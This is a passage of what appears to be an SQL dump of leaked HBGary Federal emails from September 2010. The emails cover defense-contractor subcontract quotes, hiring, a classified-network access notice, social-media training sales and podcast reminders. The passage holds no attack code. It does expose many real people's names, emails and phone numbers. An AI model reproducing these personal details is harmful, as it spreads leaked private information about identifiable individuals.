a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6846,'aaron_hbgary_com/6846.html'),(12172,'2010-09-22','arc@westfields.net','/aaron@hbgary.com/new/1297009013.M735018P14101Q7027.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7576,'aaron_hbgary_com/7576.html'),(12173,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009014.M17225P14101Q7028.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Resume','Can I get in word.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 22, 2010, at 2:40 PM, Ted Vera  wrote:\r\n\r\n> Attached, let us know if you need any revisions...\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> \r\n',2585,'aaron_hbgary_com/2585.html'),(12174,'2010-09-22','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009014.M231662P14101Q7029.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Green Eggs Subcontract Quote','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nWe need the quote for a week of\r\nconsulting here and the associated travel per diem costs to be addressed to\r\nScott Schloemer.  You can just send him an email with the cost and include the validity\r\ndate for the quote.\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Carrier, Jeremy M\r\n(XETRON) \r\nSent: Wednesday, September 22, 2010 3:47 PM\r\nTo: Schloemer, Scott A (XETRON)\r\nCc: Kehr, Cari L (XETRON); Masterson, Brian M (XETRON)\r\nSubject: RE: Green Eggs Subcontract Quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Scott. We will have the quote addressed to you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kehr, Cari L\r\n(XETRON) \r\nSent: Wednesday, September 22, 2010 3:47 PM\r\nTo: Schloemer, Scott A (XETRON)\r\nCc: Carrier, Jeremy M (XETRON)\r\nSubject: Re: Green Eggs Subcontract Quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThey are on site this week.\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Schloemer, Scott A\r\n(XETRON) \r\nSent: Wednesday, September 22, 2010 02:45 PM\r\nTo: Kehr, Cari L (XETRON) \r\nCc: Carrier, Jeremy M (XETRON) \r\nSubject: RE: Green Eggs Subcontract Quote \r\n&nbsp;\r\n\r\n\r\n\r\nWe just need them to provide in\r\nwriting a quote to cover the request below. I would like to see it addressed to\r\none of my buyers or myself so It can be kept in our files should we place an\r\norder.\r\n\r\nAs someone already approached\r\nHBGary or would you like one of the buyers to contact them?\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kehr, Cari L\r\n(XETRON) \r\nSent: Wednesday, September 22, 2010 3:43 PM\r\nTo: Schloemer, Scott A (XETRON)\r\nCc: Carrier, Jeremy M (XETRON)\r\nSubject: Fw: Green Eggs Subcontract Quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott,\r\n\r\nPlease advise.\r\n\r\nCari\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Carrier, Jeremy M\r\n(XETRON) \r\nSent: Wednesday, September 22, 2010 01:01 PM\r\nTo: Kehr, Cari L (XETRON); Mylius, Harold J. \r\nCc: Masterson, Brian M (XETRON) \r\nSubject: Green Eggs Subcontract Quote \r\n&nbsp;\r\n\r\n\r\n\r\nCari/Harold,\r\n\r\n&nbsp;\r\n\r\nFor the Green Eggs proposal we are looking to utilized\r\nHBGary in a consulting manner. We are asking them to quote one week of\r\nengineering consulting and to include travel in the quote. We will then take\r\nthat amount and plan for as many as we can within $40K or so. What do we\r\nofficially need from HBGary in the form of a quote for the proposal?\r\n\r\n&nbsp;\r\n\r\nJeremy\r\n\r\n___________________________________\r\nJeremy M Carrier\r\n| Program Manager | Cyber\r\nSolutions | Northrop Grumman Xetron\r\nP: 513.881.3788\r\n| M: 513.687.7833\r\n| F: 513.881.3884\r\n| E: Jeremy.Carrier@ngc.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9843,'aaron_hbgary_com/9843.html'),(12175,'2010-09-22','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009014.M459419P14101Q7030.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: furman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are scheduling interviews now.&nbsp; Jeremiah and Matt are\r\nnext up.&nbsp; Had a great interview with Tawny today.&nbsp; I am scheduled to\r\ntalk to Kathy about next steps&#8230;\r\n\r\n&nbsp;\r\n\r\nStay tuned.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 22, 2010 3:05 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Fwd: furman\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 22, 2010 2:50:08 PM EDT\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: furman\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnobody has contact matt for an interview. &nbsp;he just\r\ncalled, getting ancy...\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16871,'aaron_hbgary_com/16871.html'),(12176,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009014.M657205P14101Q7031.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: furman','Sent from my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: September 22, 2010 4:05:46 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: furman\r\n\r\n\r\n\r\n\r\nWe are scheduling interviews now.  Jeremiah and Matt are\r\nnext up.  Had a great interview with Tawny today.  I am scheduled to\r\ntalk to Kathy about next steps…\r\n\r\n \r\n\r\nStay tuned.\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 22, 2010 3:05 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Fwd: furman\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nFYI.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 22, 2010 2:50:08 PM EDT\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: furman\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnobody has contact matt for an interview.  he just\r\ncalled, getting ancy...\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3884,'aaron_hbgary_com/3884.html'),(12177,'2010-09-22','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297009014.M865998P14101Q7032.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Training','Hi Aaron,\r\n\r\n\r\nMy initial feedback is that I won\'t be able to meet that pricing in\r\n2010.\r\n\r\nA good portion of my budget this year is reserved for the cyber\r\nforensics tools (Responder Pro, Active Defense) \r\n\r\nCould we redo the quote to include the Longmont training only? I will\r\nforego the pen testing until 2011 if I can get the training completed\r\nthis year.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 21, 2010 6:52 AM\r\nTo: Daniel Collender\r\nCc: Ted Vera\r\nSubject: Social Media Training\r\n\r\n* PGP - S/MIME Signed: 9/21/2010 at 6:51:44 AM\r\n\r\nHey Daniel,\r\n\r\nReally interested to get your feedback on how we broke out the quote and\r\nthe training with the pen test timelines.  BTW, looks like Dr. Scott and\r\nhis wife no longer are on Facebook.  If your not a frequent user, which\r\nthey didn\'t seem to be.  For most I usually recommend a series of other\r\nsteps that can adequately provide protection as long as they implement\r\nthem.\r\n\r\nOne thing I forgot to add to the quote was an initial pen testing report\r\nand a follow up mid and end year to quantify benefit of the training,\r\nwhat people have picked up and haven\'t picked up.  This is an important\r\npiece.  I will ask Ted to add and if everything else is ok we can resend\r\na final quote.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n',5803,'aaron_hbgary_com/5803.html'),(12178,'2010-09-22','\"Hull, Wayne A\" <Wayne.Hull@ManTech.com>','/aaron@hbgary.com/new/1297009015.M541683P14101Q7033.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com','Gatorbait Subcontracts Volume Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nThe attached is the cost volume template\r\nfor the Gatorbait proposal.&nbsp; If you have any questions please call me.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nWayne\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWayne A. Hull\r\n\r\nSenior Contracts Manager\r\n\r\nManTech Mission, Cyber &amp; Technology Solutions Group\r\n\r\nPhone: (703) 610-9232\r\n\r\nMobile: (703) 899-2896\r\n\r\nUnclassified fax: (703) 847-0486\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3226,'aaron_hbgary_com/3226.html'),(12179,'2010-09-22','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','/aaron@hbgary.com/new/1297009015.M773137P14101Q7034.eml','aaron@hbgary.com','SecuraBit Episode 66 tonight.','Hi Aaron,I added you on skype, will you be available to join the conference using skype, or will we need to call you? Thanks!Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com\r\n\r\n\r\n\r\n',8742,'aaron_hbgary_com/8742.html'),(12180,'2010-09-22','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009015.M995599P14101Q7035.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Farallon Work','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, so contract is signed and they are scheduling a kick off\r\nmeeting, hopefully first week in October.&nbsp; Probably be important for Ted to be\r\nthere. (it&#8217;s either San jose or sacramento)&nbsp; &nbsp;&nbsp;That way we can figure out\r\ntime for integration, security architecture etc.&nbsp; Right now, getting some\r\nclarification around billing (seeing if we can bill a chunk prior to work) and\r\nthey have $7500 in the contract for greg&#8221; projects&#8221; and they want\r\nus to do the security architecture work.&nbsp; Either way, it&#8217;s good news,\r\nmoney in your bank accountJ&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',901,'aaron_hbgary_com/901.html'),(12181,'2010-09-22','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297009016.M211899P14101Q7036.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Securabit Podcast @ Wed Sep 22 8pm - 9pm (aaron@hbgary.com)',' more details &raquo;Securabit PodcastWhenWed Sep 22 8pm – 9pm Eastern TimeWhereskype (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16705,'aaron_hbgary_com/16705.html'),(12182,'2010-09-22','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297009016.M416551P14101Q7037.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Securabit Podcast','September 22, 2010 8:00 PM : Securabit Podcast \r\n',3602,'aaron_hbgary_com/3602.html'),(12183,'2010-09-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009016.M613135P14101Q7038.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,bob@hbgary.com','Fwd: Indie game pulls in $250,000 a day!','\r\n---------- Forwarded message ----------From: Alex Torres &lt;alex@hbgary.com&gt;Date: Wed, Sep 22, 2010 at 4:53 PM\r\nSubject: Indie game pulls in $250,000 a day!To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nGreg,\r\n\r\nI don&#39;t know if you&#39;ve heard of Minecraft but check this out:\r\nhttp://texyt.com/minecraft+persson+notch+indie+game+success+00127 \r\n\r\nAlex\r\n',11463,'aaron_hbgary_com/11463.html'),(12184,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009017.M12480P14101Q7039.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: furman','Excellent!  I was hoping they were going to \"move out quickly\" with\r\nTawny.  She said they said they would get back in touch with her in a\r\nweek or two -- seems a bit long to get the offer together (at least a\r\nverbal).\r\n\r\n\r\nOn Wed, Sep 22, 2010 at 2:28 PM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: \"Clair, Chris (TASC)\" \r\n> Date: September 22, 2010 4:05:46 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: RE: furman\r\n>\r\n> We are scheduling interviews now.  Jeremiah and Matt are next up.  Had a\r\n> great interview with Tawny today.  I am scheduled to talk to Kathy about\r\n> next steps…\r\n>\r\n>\r\n>\r\n> Stay tuned.\r\n>\r\n>\r\n>\r\n> Chris\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 22, 2010 3:05 PM\r\n> To: Clair, Chris (TASC)\r\n> Subject: Fwd: furman\r\n>\r\n>\r\n>\r\n> FYI.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: Ted Vera \r\n> Date: September 22, 2010 2:50:08 PM EDT\r\n> To: Barr Aaron \r\n> Subject: furman\r\n>\r\n> nobody has contact matt for an interview.  he just called, getting ancy...\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2293,'aaron_hbgary_com/2293.html'),(12185,'2010-09-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009017.M228214P14101Q7040.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Social Media Training','Ask him what his budget is and we can tailor to suit his needs.\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Daniel Collender \r\nDate: Wed, Sep 22, 2010 at 3:34 PM\r\nSubject: RE: Social Media Training\r\nTo: Aaron Barr \r\nCc: Ted Vera \r\n\r\n\r\nHi Aaron,\r\n\r\n\r\nMy initial feedback is that I won\'t be able to meet that pricing in\r\n2010.\r\n\r\nA good portion of my budget this year is reserved for the cyber\r\nforensics tools (Responder Pro, Active Defense)\r\n\r\nCould we redo the quote to include the Longmont training only? I will\r\nforego the pen testing until 2011 if I can get the training completed\r\nthis year.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, September 21, 2010 6:52 AM\r\nTo: Daniel Collender\r\nCc: Ted Vera\r\nSubject: Social Media Training\r\n\r\n* PGP - S/MIME Signed: 9/21/2010 at 6:51:44 AM\r\n\r\nHey Daniel,\r\n\r\nReally interested to get your feedback on how we broke out the quote and\r\nthe training with the pen test timelines.  BTW, looks like Dr. Scott and\r\nhis wife no longer are on Facebook.  If your not a frequent user, which\r\nthey didn\'t seem to be.  For most I usually recommend a series of other\r\nsteps that can adequately provide protection as long as they implement\r\nthem.\r\n\r\nOne thing I forgot to add to the quote was an initial pen testing report\r\nand a follow up mid and end year to quantify benefit of the training,\r\nwhat people have picked up and haven\'t picked up.  This is an important\r\npiece.  I will ask Ted to add and if everything else is ok we can resend\r\na final quote.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10629,'aaron_hbgary_com/10629.html'),(12186,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009017.M449307P14101Q7041.eml','\"Greg Hoglund\" <greg@hbgary.com>','Doing a podcast right now','Call you in a 